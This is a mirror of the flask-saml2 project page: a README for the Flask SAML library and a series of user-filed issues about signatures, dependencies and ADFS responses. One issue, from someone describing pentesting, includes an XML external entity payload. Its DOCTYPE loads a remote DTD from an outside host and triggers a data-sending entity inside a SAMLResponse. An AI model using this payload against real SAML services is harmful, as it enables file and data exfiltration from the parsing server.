Giter Club home page Giter Club logo

flask-saml2's Introduction

flask-saml2

Note

Looking for maintainers. This project is unmaintained. The library works, or did when I last used it, but I no longer work on the project this was built for. If you are interested in taking over leadership and maintenance of this project, please get in touch.

https://travis-ci.com/timheap/flask-saml2.svg?branch=master https://readthedocs.org/projects/flask-saml2/badge/?version=latest

This Flask plugin provides functionality for creating both SAML Service Providers and Identity Providers. Applications can implement one or both of these providers.

flask-saml2 works with Flask 1.0+ and Python 3.6+.

This is a heavily modified fork of NoodleMarkets/dj-saml-idp which in turn is a fork of deforestg/dj-saml-idp which in turn is a fork of novapost/django-saml2-idp.

Terminology

For a full description of how SAML works, please seek guides elsewhere on the internet. For a quick introduction, and a run through of some of the terminology used in this package, read on.

The SAML protocal is a conversation between two parties: Identity Providers (IdP) and Service Providers (SP). When an unauthenticated client (usually a browser) accesses a Service Provider, the Service Provider will make an authentication request (AuthnRequest), sign it using its private key, and then forward this request via the client to the Identity Provider. Once the client logs in at the central Identity Provider, the Identity Provider makes a response, signs it, and forwards this response via the client to the requesting Service Provider. The client is then authenticated on the Service Provider via the central Identity Provider, without the Service Provider having to know anything about the authentication method, or any passwords involved.

Example implementations

A minimal but functional example implementation of both a Service Provider and an Identity Provider can be found in the examples/ directory of this repository. To get the examples running, first clone the repository and install the dependencies:

$ git clone https://github.com/timheap/flask-saml2
$ cd flask-saml2
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install -e .
$ pip install -r tests/requirements.txt

Next, run the IdP and the SP in separate terminal windows:

$ cd flask-saml2
$ source venv/bin/activate
$ ./examples/idp.py
$ cd flask-saml2
$ source venv/bin/activate
$ ./examples/sp.py

Finally, navigate to http://localhost:9000/ to access the Service Provider landing page.

Testing

The test runner is pytest and we are using tox to run tests against different versions of Flask and Python. The test can be run locally using tox directly (preferably in a virtual environment):

$ pip install tox
$ tox

License

Distributed under the MIT License.

flask-saml2's People

Contributors

basraah avatar bhomnick avatar jeff-meadows avatar lsj9383 avatar morty avatar mx-moth avatar natim avatar reduxionist avatar roadsideseb avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

flask-saml2's Issues

Service Providers can't verify the signature of the assertion

I created my own Identity Provider using this repository and I tried to integrate it into Facebook Workplace and Dropbox Business for my company. What I currently can do is to receive and elaborate the SAML Request generated by the Service Provider, elaborate it, authenticate the user and create the assertion signed. When the SP provider receives the assertion, it's not able to verify the signature.
I was deep digging into this issue and I found this interesting thing: this repo generates the signature using this XML structure:

<ds:SignedInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
	<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod>
	<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha256"></ds:SignatureMethod>
	<ds:Reference URI="#_49aed2b8dc9743d0be117cf26707ca22">
		<ds:Transforms>
			<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform>
			<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform>
		</ds:Transforms>
		<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256"></ds:DigestMethod>
		<ds:DigestValue>{hash_generated}</ds:DigestValue>
	</ds:Reference>
</ds:SignedInfo>

And then, when I compose the final assertion containing the signature value, the XML structure is:

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
	<ds:SignedInfo>
		<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod>
		<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha256"></ds:SignatureMethod>
		<ds:Reference URI="#_49aed2b8dc9743d0be117cf26707ca22">
			<ds:Transforms>
				<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform>
				<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform>
			</ds:Transforms>
			<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256"></ds:DigestMethod>
			<ds:DigestValue>VtPNWg/frnHlwF2S42/P2Y4wPVd8Bd9kmS/biB4F8wg=</ds:DigestValue>
		</ds:Reference>
	</ds:SignedInfo>
	<ds:SignatureValue>shM8MsFxHzhBZG0PsIrNliphVeKAkvZONA88/brE81ZO5bdn39KCLTR6wfBPlq6XN4F/Nw61jABaN2yrcNKyPnKo/9UB+uSbkZMNiBsHb6M+o9z8P4jiWFNCxIzWesAeKJwBtetX/wbq0vxA+w02+OmxMNuAKe1BnxQqBycTQpD7WqDEcQ6/LihbBpHnHl+ObjAZuE4+pLwJPifW1hN4hWLpdDYnfRPzEpg6tkf5lg/zKBor1f+zMwddi5jIqUJZWO8svjxXGHopRv6xgYuVYZz6WCpJUnMNuYCrtwSyyZ9scnDu8cyO8rSRVAdfQkXWXXxVh+7xKiG2CCvTks2CXA==</ds:SignatureValue>
	<ds:KeyInfo>
		<ds:X509Data>
			<ds:X509Certificate>MIIDVTCCAj0CCB5f3a7UpFWQMA0GCSqGSIb3DQEBCwUAMG0xCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEPMA0GA1UEBwwGQXVzdGluMRIwEAYDVQQKDAlJYW51bSBJbmMxEjAQBgNVBAsMCUlhbnVjIEluYzEVMBMGA1UEAwwMaWQuaWFudW0uY29tMB4XDTE5MTAwMTEzMjcwN1oXDTIzMDkzMDEzMjcwN1owbTELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMQ8wDQYDVQQHDAZBdXN0aW4xEjAQBgNVBAoMCUlhbnVtIEluYzESMBAGA1UECwwJSWFudWMgSW5jMRUwEwYDVQQDDAxpZC5pYW51bS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDKA0/7RBUZ+WR7NZvJu/hQKNIwheek29elh4jlzIk7of2ZmvOyYIz+5ualYf4SOlMopM3WpfYhZ+Vm2P07LnDQuxDxNX6lvq5l/vucpiNsbCbV/vLxPu6eswP7LdZ+Igt7beTyG8OUOlV5oXqjwVU6iBSysNmyaOke48jn4rG8vSEBurKTnqBLLzuCXmZHnuU5tOVUrMLnQ9va7/yk8lWe4SV0w/ncSDhAdtYHYiFee7wT4kOoiBHXeJKD+CoGTysw3lRjXfu9TuPE3TS3zj8fISHyYt1hVfqxaA84RIe7yqeRO+xYpMKGMtmXa/RHmFMBZJqc8WiLcfCuw+SsmIEjAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAKkMLKqcMWP9XHC6sn6m5ec6wDz6QrFk6SM0OmAn16PxMhH85vtWmyFESb7Tw3rQ4dwGjFGs2S27PEI0W+apzc+sX8vSSq4acVdQQBd/pm3YRgOiFilXgNQ4gyYDjuJVaq+AqbeBVA5kp0aYiwqeBKuPr6aHBR0yMqi2wpNKONEgM/hBK6UbcC9iJEIl9YUz+nCuPzyg1kPEZmEYQw+wNvAzrxACLg1ma4wtuBKn81F+fSKyVuVx/Tn2V/u1qe2f8gMMtJO8lRgFuUNba4EI6Yz4jI6l2b8da4fj0/hWVOOG3AcGIrkVNAyatD4GnQPsz8AIauws14SIXuCHC+f/+DY=</ds:X509Certificate>
		</ds:X509Data>
	</ds:KeyInfo>
</ds:Signature>

So the XML element <SignedInfo has the attribute xmlns:ds="http://www.w3.org/2000/09/xmldsig#" while I'm generating the signature and then that attribute disappears when the assertion is created.

Could it be the problem?

Deprecation warning for defusedxml

With flask-saml 0.2.0, I get the following depreciation warning:

/tmp/env/lib/python3.7/site-packages/flask_saml2/xml_parser.py:9
  /tmp/env/lib/python3.7/site-packages/flask_saml2/xml_parser.py:9: DeprecationWarning: defusedxml.lxml is no longer supported and will be removed in a future release.
    import defusedxml.lxml

More information is provided at https://github.com/tiran/defusedxml#defusedxmllxml

DEPRECATED The module is deprecated and will be removed in a future release.

The module acts as an example how you could protect code that uses lxml.etree. It implements a custom Element class that filters out Entity instances, a custom parser factory and a thread local storage for parser instances. It also has a check_docinfo() function which inspects a tree for internal or external DTDs and entity declarations. In order to check for entities lxml > 3.0 is required.

Login class redirects to url with http scheme

I might just not understand how this works in Python/Flask, but I don't think there is a way to force this to use https without extending the class. I could do it if the "get" method here simply returned the result of url_for, rather than performing the redirect - or if there was an option to set the scheme.

Relax pyOpenSSL version requirement

Currently setup.py lists the install requirement pyopenssl<18, but it works
with pyOpenSSL==23.0.0.

Please relax the version requirement on pyOpenSSL for installation.

Attribute parsing in SP of SAML response doesn't support FriendlyName or multiple values

Howdy!

Happy to contribute a PR to support this, but it seems like the ResponseParser.attributes property could be improved in two ways:

  1. If the SAML Attribute has a FriendlyName, it should be preferred over the Name - otherwise you get things like urn:oid:2.5.4.42 as a key versus givenName.
  2. If there are multiple Attribute elements with the same name, only the first one appears in the attributes property, whereas some SAML assertions include multiple Role attributes.

Thanks!

How to add a DTD to the SAMLResponse?

Hello,

Please I came across this awesome project of yours while pentesting, I have some questions ?

  • When the IDP issues a SAMLResponse is it possible for a DTD declaration to be added to the beginning of the SAMLResponse ?
    Just like this;
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY % remote SYSTEM "http://ping.local.com/foo"> %remote; %send;]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:9000/saml/acs/" ID="_b4e5466d30d343a39b281c89699558dd" InResponseTo="_d155a38534a04be181c9b8a9aae1b5e8" IssueInstant="2021-05-09T21:54:51.309039+00:00" Version="2.0">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost:8000/saml/metadata.xml</saml:Issuer>
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
		...
  </ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_79630753cb3f44158e5cae1849045bf3" IssueInstant="2021-05-09T21:54:51.309039+00:00" Version="2.0">
    <saml:Issuer>http://localhost:8000/saml/metadata.xml</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      ...
    </ds:Signature>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="http://localhost:9000/saml/metadata.xml">[email protected]</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="_d155a38534a04be181c9b8a9aae1b5e8" NotOnOrAfter="2021-05-09T22:09:51.309039+00:00" Recipient="http://localhost:9000/saml/acs/"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2021-05-09T21:51:51.309039+00:00" NotOnOrAfter="2021-05-09T22:09:51.309039+00:00">
      <saml:AudienceRestriction>
        <saml:Audience>http://localhost:9000/saml/metadata.xml</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2021-05-09T21:54:51.309039+00:00">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="foo" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue>bar</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Thanks for your help in the near future.
Regards,
@abrahack.

The view function for 'flask_saml2_sp.acs' did not return a valid response.

I'm using flask_saml2 library for my SP and as an IDP I'm using Wordpress with miniorange plugin.

SP correctly redirects to IDP login, but after a successful login into wordpress the request is being made to my SP URL /saml/acs, but I get the following error.

192.168.50.35 - - [11/Feb/2022 04:57:37] "POST /saml/acs/ HTTP/1.1" 500 -
Traceback (most recent call last):
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 2091, in __call__
    return self.wsgi_app(environ, start_response)
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 2076, in wsgi_app
    response = self.handle_exception(e)
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 2073, in wsgi_app
    response = self.full_dispatch_request()
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 1519, in full_dispatch_request
    return self.finalize_request(rv)
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 1538, in finalize_request
    response = self.make_response(rv)
  File "/root/sp/venv/lib/python3.8/site-packages/flask/app.py", line 1701, in make_response
    raise TypeError(
TypeError: The view function for 'flask_saml2_sp.acs' did not return a valid response. The function either returned None or ended without a return statement.

Can somebody point me to the relevant peace of code? Where can I find this view/function?

Silent error makes very difficult to debug

I would be very useful to add a log or something in this line on AssertionConsumer
It's very difficult to find an error in the configuration of the IDP with this

            except CannotHandleAssertion:
                continue

ADFS SAMLResponse

I'm trying to implement a SP using ADFS as my IDP and I successfully receive a SAML Response via request.form['SAMLResponse']. I can take this response and decode to a string with str(decode_saml_xml(request.form['SAMLResponse']).decode()), but I'm not sure what to do with it next. I'm trying to get to the Name ID via assertion data. What is the recommend way to complete this task? Are all necessary modules built in? The parser.py in sp seemed promising, but none of the functions work for me - I get list index out of range. I'm not sure if I'm going about it the wrong way, or passing the wrong data to the ResponseParser class. I thought the decoded XML string would be good, along with my SPs private key, but maybe that isn't the case. Any guidance you can provide would be fantastic.

How to ignore ADFS in nameid_format

Hi,
I'm using flask-saml2 in my Flask app as an SP and our company's ADFS as the IDP. I've got to the point of getting the assertion SAML reply back from ADFS but am getting an error with the POST :-

File "/var/opt/venv_python3/lib/python3.6/site-packages/flask_saml2/sp/parser.py", line 51, in nameid_format
    return self._xpath(self.subject, 'saml:NameID/@Format')[0]
IndexError: list index out of rang

This is the function that generated the error :-

https://github.com/timheap/flask-saml2/blob/f22ab443137aee1934a73134e18a3113bbe74f11/flask_saml2/sp/parser.py#L49-L51

It looks like ADFS does not send NameID/@Format in the SAML reply and caused this error.

Is there a way to bypass this or ignore this somehow? The ADFS is not under my control so I can't make any changes there.

Thanks.

Signature method RSA_SHA1 forbidden by configuration

I'm trying to run the example. I'm using python Python 3.10.6 and pyOpenSSL-23.1.1.

127.0.0.1 - - [13/May/2023 00:19:30] "POST /saml/acs/ HTTP/1.1" 500 -
Traceback (most recent call last):
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 2213, in call
return self.wsgi_app(environ, start_response)
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 2193, in wsgi_app
response = self.handle_exception(e)
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 2190, in wsgi_app
response = self.full_dispatch_request()
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 1484, in full_dispatch_request
rv = self.dispatch_request()
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/app.py", line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/views.py", line 109, in view
return current_app.ensure_sync(self.dispatch_request)(**kwargs)
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/flask/views.py", line 190, in dispatch_request
return current_app.ensure_sync(meth)(**kwargs)
File "/home/tim/dev/flask-saml2/flask_saml2/sp/views.py", line 86, in post
response = handler.get_response_parser(saml_request)
File "/home/tim/dev/flask-saml2/flask_saml2/sp/idphandler.py", line 220, in get_response_parser
return ResponseParser(
File "/home/tim/dev/flask-saml2/flask_saml2/xml_parser.py", line 44, in init
self.xml_tree = self.parse_signed(self.xml_tree, self.certificate)
File "/home/tim/dev/flask-saml2/flask_saml2/xml_parser.py", line 73, in parse_signed
return XMLVerifier().verify(xml_tree, x509_cert=certificate).signed_xml
File "/home/tim/dev/flask-saml2/venv/lib/python3.10/site-packages/signxml/verifier.py", line 350, in verify
raise InvalidInput(f"Signature method {signature_alg.name} forbidden by configuration")
signxml.exceptions.InvalidInput: Signature method RSA_SHA1 forbidden by configuration

Utils.py importing deprecated function

As of cryptography version 42.0.8 (4 June), utils file is producing the following issue:

from flask_saml2.utils import certificate_from_file, private_key_from_file
File "c:\Users\user.venv\Lib\site-packages\flask_saml2\utils.py", line 8, in
import OpenSSL.crypto
File "c:\Users\user.venv\Lib\site-packages\OpenSSL_init_.py", line 8, in
from OpenSSL import crypto, SSL
File "c:\Users\user.venv\Lib\site-packages\OpenSSL\crypto.py", line 1550, in
class X509StoreFlags(object):
File "c:\Users\user.venv\Lib\site-packages\OpenSSL\crypto.py", line 1568, in X509StoreFlags
NOTIFY_POLICY = _lib.X509_V_FLAG_NOTIFY_POLICY
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: module 'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'. Did you mean: 'X509_V_FLAG_EXPLICIT_POLICY'?

I understand it is possible to version cryptography to 42.0.7 on my end, but the issue remains that the utils are incompatible with the current version of cryptography (42.0.8)

NameIDFormat is printed but not passed to template

In the metadata template for the SP on line 18 (sp/templates/flask_saml2_sp/metadata.xml) the NameIDFormat is printed: <md:NameIDFormat>{{ nameid_format }}</md:NameIDFormat>

Another var, {{ certificate }}, is passed to the template through sp.get_metadata_context() in sp/sp.py to the Metadata class in sp/views.py. However, {{ nameid_format }} is missing there.

So I expected to see my NameIDFormat if I defined it in app.config['SAML2_SP'], but it didn’t show up.

SAML Request invalid format

It looks like SAML request valid format is

<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
...
saml:Issuer${ENTITY_ID}</saml:Issuer>
</samlp:AuthnRequest>

Current SAML Request format generated by flask_saml2 is :

<samlp:AuthnRequest
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
...
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">${ENTITY_ID}</saml:Issuer>
</samlp:AuthnRequest>

Not sure whether this is a bug or whether both formats are valid.

Option to use the actual "Entity ID" for the "Entity ID" parameter, rather than a URL to the XML.

Some IDPs expect the Entity ID in that parameter, rather than a URL to the XML file.
I was able to do this in my project by extending the ServiceProvider class. I'm not sure how commonplace this is for Python modules but I think it would be better if you could configure this (and other values, such as the logout/login urls) in the ServiceProvider without extending it. I'd be happy to work on this.
I am thinking maybe a factory method could mitigate the need to extend ServiceProvider

ModuleNotFoundError: No module named 'bs4'

I was trying to run the samples. After a fresh install in a fresh virtualenv and then after running pip install -e .

then:

$ ./examples/idp.py
Traceback (most recent call last):
  File "./examples/idp.py", line 8, in <module>
    from tests.idp.base import CERTIFICATE, PRIVATE_KEY, User
  File "/mnt/c/Users/user_name/source/repos/flask-saml2/tests/idp/base.py", line 10, in <module>
    from bs4 import BeautifulSoup
ModuleNotFoundError: No module named 'bs4'

Solution:
$ pip install bs4

Looks like the setup.py is missing something.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.